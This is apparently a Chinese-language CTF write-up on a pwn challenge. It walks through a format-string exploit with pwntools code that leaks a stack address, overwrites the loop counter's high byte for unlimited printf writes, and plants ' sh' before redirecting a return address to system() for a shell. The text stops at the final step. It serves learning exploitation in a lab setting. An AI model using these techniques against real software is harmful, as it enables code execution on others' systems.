.bss:00000000004040A8 flag dd ? ; DATA XREF: talk+1B↑r
.bss:00000000004040A8 ; talk+24↑w ...
.bss:00000000004040AC align 20h

只是让flag == 0也就只有三次格式化字符串利用的机会,由于程序在 he() 里有system函数

ida里的 he()

1
2
3
.text:0000000000401274                 lea     rax, [rbp+command]
.text:0000000000401278 mov rdi, rax ; command
.text:000000000040127B call _system

光看这里会觉得很正常没什么,但在GDB看

如果我们可以利用格式化字符串漏洞将 [rbp - 0xe]处的值改为 “ sh”(注意sh的前面要有两个空格)或”/bin/sh”,(一般选前者,因为前者只需要写入四个字节,而后者需要写入8个字节),就能执行system(“ sh”)来getshell

想要做到这一步,就要借鉴前面[MoeCTF2024]where_is_fmt 的解题思路,在 talk()函数内,将 [rbp - 0xe]处的值改为 “ sh”,然后修改 talk() 的返回地址为 0x401274,!!这里要注意,talk()结束时是会有 leave_ret的,比如若在 talk()里rbp 0x7ffe567b7f60 —▸ 0x7ffe567b7f80

而我们直接跳转到0x401274处时,rbp内存的值会是rbp 0x7ffe567b7f80

所以这里我们要修改 [rbp - 0xe] => 0x7ffe567b7f72处存的值为 “ sh\x00”(确保高字节处有\x00截断,没有就要加)

但是这样的话,要写入” sh”(两个空格 + “s” + “h”)需要四次写入,篡改返回地址又需要两次写入,而我们在只确保flag == 0的情况下也只能有三次写入的机会,这远远不够???我们需要更多的写入次数!!!

让我们来GDB里,看看for ( i = 1; i <= 3 && !flag; ++i )里,i <= 3这一步是怎么比较的

其实就是这一步

1
0x4013b5 <main+70>    cmp    dword ptr [rbp - 4], 3            2 - 3     EFLAGS => 0x297 [ CF PF AF zf SF IF df of ac ]

简单来说就是 [rbp - 4] - 3 如果 < 0,比较通过,进入 talk(),否则退出 for 循环

在 main() 里,可以知道i虽然是局部变量,不像之前一些简单点的题在bss段可以直接修改,但是它同时也是一个int有符号数,如果我们修改此处[rbp - 4]的值的最高位为0xFF,它就会变成一个很大的值,从而发生回环,变成一个负数,(负数 - 3 < 0)。这样即可获得无限次的格式化字符串利用

1
2
3
4
5
6
7
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-4h]

init(argc, argv, envp);
puts("You're walking down the road when a monster appear.");
for ( i = 1; i <= 3 && !flag; ++i )

具体操作

先泄露一个栈地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = process("./pwn")
#io = remote("192.168.242.1", 57764)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(hex(data))
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

sa(b"You start talking to him...\n", b"%17$p")
tmp = int(ru(b"?\n")[2:], 16)
ls(tmp)
sa(b"You enraged the monster-prepare for battle!", b"a"*8)
i = tmp - 0x120
ls(i)

然后利用printf成链攻击,向这里的0x7ffd5dc3db6f写入0xFF

1
2
3
4
5
6
7
vuln = ((i + 7) & 0xffff)
ls(vuln)
#debug()
sa(b"You start talking to him...\n", f"%{vuln}c%17$hn")
sa(b"You enraged the monster-prepare for battle!", b"a"*8)
sa(b"You start talking to him...\n", f"%255c%47$hhn") ##写入0xFF
sa(b"You enraged the monster-prepare for battle!", b"a"*8)

这里补充一下,被利用的参数的位置

1
2
3
4
5
pwndbg> fmtarg 0x7ffd5dc3db98
The index of format argument : 17 (\"\%16$p\")
pwndbg> fmtarg 0x7ffd5dc3dc88
The index of format argument : 47 (\"\%46$p\")
pwndbg>

接着就是在[rbp - 0xe]处分多次写入” sh”

1
2
3
4
5
6
7
8
9
10
11
t = (i - 6) & 0xff
sa(b"You start talking to him...\n", f"%{t}c%17$hhn")
sa(b"You enraged the monster-prepare for battle!", b"a"*8)

li = [" ", " ", "s", "h"]
for j in range(4):
ls(ord(li[j]))
sa(b"You start talking to him...\n", f"%{ord(li[j])}c%47$hhn")
sa(b"You enraged the monster-prepare for battle!", b"a"*8)
sa(b"You start talking to him...\n", f"%{(i + j - 5) & 0xff}c%17$hhn")
sa(b"You enraged the monster-prepare for battle!", b"a"*8)

最后修改talk()的返回地址,返回到0x401274

1
2
3
4
5
sa(b"You start talking to him...\n", f"%{(i - 16) & 0xff}c%17$hhn")
sa(b"You enraged the monster-prepare for battle!", b"a"*8)
#debug()
sa(b"You start talking to him...\n", f"%{0x1274}c%47$hn")
sa(b"You enraged the monster-prepare for battle!", b"a"*8)

(这里不小心重来调试了,栈地址发生了变化,问题不大)最后一步修改后的结果就是